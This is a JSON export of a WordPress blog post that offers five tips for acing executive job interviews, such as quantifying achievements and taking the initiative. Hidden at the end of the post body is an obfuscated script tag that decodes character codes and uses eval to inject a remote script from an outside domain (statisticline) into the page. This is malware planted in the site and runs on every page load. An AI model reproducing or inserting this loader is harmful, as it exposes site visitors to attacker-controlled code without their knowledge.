{"id":6074,"date":"2023-06-09T10:56:30","date_gmt":"2023-06-09T10:56:30","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/tips-for-acing-your-interviews-and-getting-an-executive-position\/"},"modified":"2023-06-09T10:56:30","modified_gmt":"2023-06-09T10:56:30","slug":"tips-for-acing-your-interviews-and-getting-an-executive-position","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/tips-for-acing-your-interviews-and-getting-an-executive-position\/","title":{"rendered":"Tips for acing your interviews and getting an executive position"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/tips-for-acing-your-interviews-and-getting-an-executive-position\/#Sell_Yourself_Dont_Simply_State_What_You_Have_Done\" title=\"Sell Yourself, Don\u2019t Simply State What You Have Done\">Sell Yourself, Don\u2019t Simply State What You Have Done<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/tips-for-acing-your-interviews-and-getting-an-executive-position\/#Turn_Your_Negatives_into_Positives\" title=\"Turn Your Negatives into Positives\">Turn Your Negatives into Positives<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/tips-for-acing-your-interviews-and-getting-an-executive-position\/#Employ_the_Big-to-Little_Strategy\" title=\"Employ the Big-to-Little Strategy\">Employ the Big-to-Little Strategy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/tips-for-acing-your-interviews-and-getting-an-executive-position\/#Dont_Forget_that_You_Have_Already_Passed_the_First_Step\" title=\"Don\u2019t Forget that You Have Already Passed the First Step\">Don\u2019t Forget that You Have Already Passed the First Step<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/tips-for-acing-your-interviews-and-getting-an-executive-position\/#Take_the_Initiative\" title=\"Take the Initiative\">Take the Initiative<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter size-full wp-image-2330&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/02\/Tips-for-Acing-your-Interview-and-Getting-an-Executive-Position.jpg&quot; alt=&quot;Tips for Acing your Interview and Getting an Executive Position&quot; width=&quot;1200&quot; height=&quot;801&quot; \/><\/p>\n<p>Companies prefer hiring successful, articulate, and competent executives, although the initial encounter between a candidate and the company usually puts the candidate in a highly stressful and uncomfortable situation, which is the interview.<\/p>\n<p>The truth is that you need to deal with the process of hiring as it\u2019s currently constituted. To achieve that, you need to learn how to manage and control your interviews comfortably.<\/p>\n<p>The following are 5 key strategies for helping you ace your interviews.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Sell_Yourself_Dont_Simply_State_What_You_Have_Done\"><\/span><b>Sell Yourself, Don\u2019t Simply State What You Have Done<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Interviews provide the ideal platform for selling your accomplishments and not just stating what you have done. For instance, if you are asked about the number of people you managed in your previous position, you might be tempted to quickly reply. \u201cI managed a team of 40.\u201d<\/p>\n<p>However, a much stronger response would be:<\/p>\n<blockquote><p>\u201cMy staff at FedEx included 40 professionals and support personnel. I was not only responsible for managing those individuals, but also directed all hiring and recruitment activities, designed bonus plans, set salaries, facilitated the annual review process, and projected the long-term staffing requirements. My team even managed to increase the annual sales by over 35 percent within just a year.\u201d<\/p><\/blockquote>\n<p>The lesson here is that you should always quantify any achievements.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Turn_Your_Negatives_into_Positives\"><\/span><b>Turn Your Negatives into Positives<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>What should you do when the interviewer asks about your experience working with\u00a0<a href=\"&quot;https:\/\/office.live.com\/start\/Excel.aspx&quot;\" class=\"broken_link\">Excel spreadsheets<\/a>\u00a0and you don\u2019t have any? Instead of saying that you don\u2019t know excel, you should use related experiences to show that you have some relevant knowledge.<\/p>\n<p>For instance, your response could be:<\/p>\n<blockquote><p>\u201cI have extensive experience designing spreadsheets on Lotus, so I am confident that it wouldn\u2019t take too much time to get a handle on Excel.\u201d<\/p><\/blockquote>\n<p>If you do that, you will have been honest, but you would still have positioned yourself and your knowledge in a positive way. Get familiar with turning your weaknesses into strengths.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Employ_the_Big-to-Little_Strategy\"><\/span><b>Employ the Big-to-Little Strategy<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If somebody asks about your experience with acquisitions and mergers, you can employ the big-to-little strategy to organize your thoughts, respond in a seamless manner, and make it easy for the interviewer to understand your specific experience. Start off big, with an overview of your experience in\u00a0<a href=\"&quot;https:\/\/www.investopedia.com\/terms\/m\/mergersandacquisitions.asp&quot;\" class=\"broken_link\">M&amp;A transactions.<\/a><\/p>\n<p>Next, follow up with smaller details i.e. 2 to 4 specific achievements, highlights, or projects that are directly related. You might consider talking about your involvement in negotiations, due diligence, acquisition integration, or transactions. Simply put, you will be communicating the message:<\/p>\n<blockquote><p>\u201cThis is exactly what I know, and this is how well I have managed to do it.\u201d<\/p><\/blockquote>\n<h2><span class=\"ez-toc-section\" id=\"Dont_Forget_that_You_Have_Already_Passed_the_First_Step\"><\/span><b>Don\u2019t Forget that You Have Already Passed the First Step<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>You are probably nervous. You are sitting in the executive conference room with the CFO, president, and 2 executive VPs present. Simply take a deep breath and don\u2019t forget that you have passed the first step already, which is typically a phone screening.Remember,\u00a0recruiters can be difficult to please, so to get this far means you\u2019re doing very well.<\/p>\n<p>If the job is at the level where the company\u2019s top executives are in attendance at your first interview, you know that they are probably interested or they would not take the time to interview you. You should thus go into the interview knowing that you already have them on the hook, so be confident, but not boastful.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Take_the_Initiative\"><\/span><b>Take the Initiative<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The interview is drawing to a close and you had hoped to share your experience in supply chain management. However, the topic never really came up. It is up to you to introduce the topic to the conversation. You might comment:<\/p>\n<blockquote><p>\u201cBefore we conclude, I would like to share one more thing I believe would be important to the position and my fit within your company.\u201d<\/p><\/blockquote>\n<p>You should then proceed to lay out the information. It is important to take the initiative during the interview to ensure that you communicate everything valuable.<\/p>\n<p>It is not in doubt that interviewing is often stressful and difficult. However, you should remember that your professional life is on the line. Walk into every interview fully aware of the information you would like to communicate. Control the interview quietly to ensure that you paint a picture of success and knowledge as you position yourself for a job offer.<\/p>\n<p>What tips hve you got for acing your interview and getting that executive position?<\/p>\n<p>&nbsp;<br \/>\n&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Companies prefer hiring successful, articulate, and competent executives, although the initial encounter between a candidate and the company usually puts the candidate in a highly stressful and uncomfortable situation, which is the interview. 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